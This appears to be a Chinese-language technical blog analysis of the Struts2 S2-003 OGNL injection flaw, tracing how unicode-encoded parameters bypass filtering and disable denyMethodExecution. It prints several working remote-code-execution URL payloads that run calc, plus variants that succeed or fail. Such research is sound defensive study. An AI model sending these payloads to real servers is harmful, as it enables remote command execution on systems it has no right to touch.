漏洞概要

Struts2-003是一个远程代码执行漏洞

影响版本: Struts 2.0.0 - Struts 2.0.11.2

测试环境

Struts2-003:Apache Tomcat/6.0.10+struts-2.0.1

高版本的Tomcat按照RFC规定实现,如果url中要使用下列字符,需要进行url编码,否则会返回400状态码。
^[]{}\|"<>`

漏洞分析

网上对第一部分的分析比较多,但是我看完之后产生了一些问题。于是针对自己的问题进行分析写了第二部分,如果有错误望师傅们指正。

第一部分

payload:

login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
  • 首先先来简单分析一下payload:\u是unicode编码,因为对字符# =进行了安全过滤。但由于OGNL可以识别unicode编码,故将字符# =进行unicode编码。
  • xwork.MethodAccessor.denyMethodExecution是context中的一个标志位,当OGNL表达式里有方法调用时,OGNL的底层实现会调用XWorkMethodAccessor#callMethod()方法,里面会判断上下文对象context中对应的值,如果是true,则不会执行方法,反之则执行方法。

对应的代码如下:

image-20210809175007181

接下来开始正式分析:

Struts2处理用户请求时,会调用拦截器处理ParametersInterceptor.setParameters装载参数,并且在此之前会将xwork.MethodAccessor.denyMethodExecution设置为true,禁止方法调用

image-20210809181130643

跟进setParameters,这里有两个关键的方法,acceptableName()和stack.setValue()。

acceptableName进行判断是否有非法字符(“=” “,” “#” “:”),我们这里用unicode编码绕过。

然后用setValue,将我们的数据压入栈中

image-20210809180809368

再进入OgnlUtil.setValue

image-20210809181548948

image-20210809181630224

这里有一个关键的方法,compile(),跟进去

这里利用parseExpression方法对我们得到expression进行了解析,而在其解析的过程中,调用了JavaCharStream#readObject,对我们的expression进行了unicode解码。成功绕过了检测并恢复了我们的payload

image-20210809182722529

image-20210809182420964

然后回到OgnlUtil.setValue方法,跟进Ognl.setValue方法,在该方法中将xwork.MethodAccessor.denyMethodExecution设置为了false

image-20210809183048032

接着回到最开始的setParameters,对我们传入的第二个参数进行处理,还是一样的流程,成功执行命令

image-20210809183257432

image-20210809183733793

到此,我们的第一部分就分析完毕了。但其实还留下了许多的疑问

  • 在n.setValue方法里面是如何设置xwork.MethodAccessor.denyMethodExecution,我们的命令又是如何执行的
  • 为什么payload会有这么多括号,后面的(bla)又是干嘛的

第二部分

在Ognl中,有几个类型的语法树,ASTEval、ASTAssign、ASTStaticMethod、ASTConst、ASTProperty、ASTChain等,这些在构造树的时候会应用于不同的语法格式。我们不同形式的ognl字符串对应着不用的语法树,比如:user.name就是生成ASTChain。

image-20210809184653575

这里随便拿一张图,看到我们children[0]对应的就是ASTVarRef类型,而children[1]对应的就是ASTChain类型。当ognl解析字符串的时候,就会调用不同的class来处理这些字符串。(这里其实很想知道有没有整理好的表格之类的,可以看到不同格式与语法树的对应关系,网上感觉相关资料挺少的)

问题一

好了,前置知识说完了,接下来让我们回到:

image-20210809183048032

因为分析时的调用方法太多了,所以分析时就直接跳过一些不重要的地方,直接进入setValueBody/getValueBody 方法

image-20210810090248289

此时children[0]为('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(bla),为ASTEval类型,继续跟进,看它是如何解析children[0]的

这里又一次将我们的children拆成了两个Node,跟进result=node.getValue( 这里的代码等会儿还会再说,先走一下流程)

image-20210810092127432

image-20210810111018392

这里来到了ASTAssign类的getValueBody方法,这里先得到了result=false,再将result传入了setValue方法,继续跟进

image-20210810092808644

来到了下一个setValueBody方法,这里先使用for循环将我们的children进行遍历,这里i=children.length()-2,也就是i=0

image-20210810093753807

它会调用ASTVarRef#getValueBody,然后返回我们的context

image-20210810093320287

image-20210810093301105

接着回到ASTChain#setValueBody,进入this.children[this.children.length - 1].setValue(context, target, value);继续往后走

image-20210810093830968

最后将我们的keyvalue put到了我们的Ognlcontext里面,成功修改了xwork.MethodAccessor.denyMethodExecution

image-20210810094602843

接下来看看我们的第传入第二个参数,前面的都是差不多的,主要看后面

image-20210810095341327

image-20210810095602037

这里先跟进children[1].getValue方法,看是如何解析`@java.lang.Runtime@getRuntime.exec(“calc”)`

image-20210810095629461

这里又来到了ASTChain这个类,但是这次进入的是getValueBody方法,解析第一个参数的时候进入的是setValueBody方法

image-20210810101147558

当i=0时,这里使用callStaticMethod方法调用静态方法

image-20210810101103818

xwork.MethodAccessor.denyMethodExecution进行判断,为false返回静态方法

image-20210810101352955

回到ASTChain#getValueBody

当i=1时,将我们返回的Runtime#getRuntime()传入getValue方法中

这里将我们的相关参数传入了callMethod,调用方法

image-20210810102941856

image-20210810103102252

然后调用callMethod对xwork.MethodAccessor.denyMethodExecution进行判断,并调用相关方法

这里还可以跟进super.callMethod方法,看看是如何执行我们的方法的

image-20210810103136920

这里调用了OgnlRuntime.callAppropriateMethod

image-20210810103858523

image-20210810103815508

好了,现在我们的第一个问题就解决完成了,我们知道了大概的流程,xwork.MethodAccessor.denyMethodExecution怎么设置为false的,还有如何执行命令的。

问题二

接下来就来说说为什么payload中我们有那么多括号了,记得我之前不是有一段代码没有分析吗

就是这张图:

image-20210810092127432

其实我们可以看到,进入getValueBody的第一行,我们就执行了getValueBody方法,但是在执行时却没有设置xwork.MethodAccessor.denyMethodExecution,第二次执行命令时也是一样,都是直到执行node.getValue时才完成我们的操作。

那两次的区别是什么呢?其实一看就知道了

两次的source是不一样的,也就是我们的根对象(root)

第一次的source:

image-20210810105031105

第二次的时候source为null

还有就是

children[0]和node类型不同

image-20210810111226180

image-20210810111018392

不过呢,这里跟source没关系,原因其实就是类型问题,只有调用了ASTAssign#getValue才能完成操作

然后我这里稍微修改了下payload:

(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(bla)(bla)&(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))(bla)(bla)

这里呢,其实就是把外面的引号给去掉了,让我们这里的children[0]变为了ASTAssign类型,让我们在第一个getValue中就成功修改了xwork.MethodAccessor.denyMethodExecution

image-20210810130640812

image-20210810130817695

原本以为到了下面也会再执行一次的,但是返回回来的expr为false,node计算出来为null,也就不会在node.getValue时执行我们的java code

继续来说说为什么我们要加那么多括号,

这里我们先做个假设,我们将payload写成这样,看看会发生什么

(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))

n为ASTAssign类型,但是setValue方法中调用的是ASTAssign#setValue方法,而不是getValue方法.但是只有调用ASTAssign#getValue方法才能执行我们的命令。

image-20210810131755792

image-20210810131804776

正常payload中的n:

image-20210810132040126

现在得出结论:

在Ognl#setValue中只会调用setValue方法,不会调用ASTAssign#getValue方法。

但是在ASTEval#setValue中会调用成员的getValue方法,所以这里是传入一个ASTEval类型的成员n,然后间接调用ASTAssign#getValue

深入理解Payload

这里其实有很多种方式调用ASTEval#getValue,这里给大家说一下我的理解:

首先我们要排除一种特殊情况,就是我最最开始的那种payload,因为我们加了引号,所以我们一直到了node.getValue才执行我们的payload,因为这种情况比较特殊,也会影响我们总结,而且也不知道source=null时执行到某些地方时会不会报错,所以暂时不做讨论。

image-20210810095602037

image-20210811114732175

这里我们假设我们有四个括号,其实你会发现无论按什么样的顺序写都能执行ASTAssign#getValue,这里我们会依次执行one.getValue,two.getValue …….

image-20210810153821484

真正让我们无法执行命令的情况,那就是报错了。假如我们把我们的java code写到three的位置,但是one和two的getValue方法执行过程中报错了,那就自然无法执行到three.getValue

那么什么情况会报错呢。目前我发现了有一种情况:那就是expr为null的时候,也就是当我们的children[0]为"bal"的时候。expr=null在执行Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString());会跳出循环,去判断我们传的下一个参数。假设我们的payload写成:

(bla)(bla)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(bla)(bla)(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))
//也就是(one)(two)(java code)格式

那就无法执行到我们的java code

image-20210810160437612

执行Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString());会跳出循环

image-20210810155947522

这里随便写几个payload,方便一下大家深入理解里面的逻辑:

可行的:

login.action?(bla)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(bla)(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))

login.action?(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))

login.action?(bla)((bla)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse))&(bla)(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))

login.action?(bla)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(bla)(bla)(bla)(bla)&(bla)(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))

不行的:

login.action?(bla)((bla)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse))(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))

调试的时候又发现了一种特殊情况,比如这里我们的payload:

login.action?(fuck)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(bla)&(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))(fuck)(fuck)

它又执行不起了,因为在经过拦截器时,这里传入参数的顺序变了,这里先是去解析(\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(%27calc%27))(fuck)(fuck),然后才去修改xwork.MethodAccessor.denyMethodExecution,自然无法执行方法

image-20210810144418034

此外我还遇到了些其他情况也会导致我们parameters中传入的参数顺序不理想,比如多在第一个参数两边没加引号,第二个参数两边加了个引号之类的。因为不知道服务器端是如何处理我们的请求的,所以我也不知道具体是什么原因。大家测试的时候如果要传两个参数进来,注意尽量写成一样的格式就行。

参考

https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

https://zhzhdoai.github.io/2020/12/24/Struts2%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B9%8BS2-003/#0x01

https://xz.aliyun.com/t/7966#toc-4

https://chybeta.github.io/2018/05/08/%E3%80%90struts2-%E5%91%BD%E4%BB%A4-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E7%B3%BB%E5%88%97%E3%80%91S2-003%E5%92%8CS3-005/

https://blog.csdn.net/u011721501/article/details/41626959

https://xz.aliyun.com/t/111#toc-0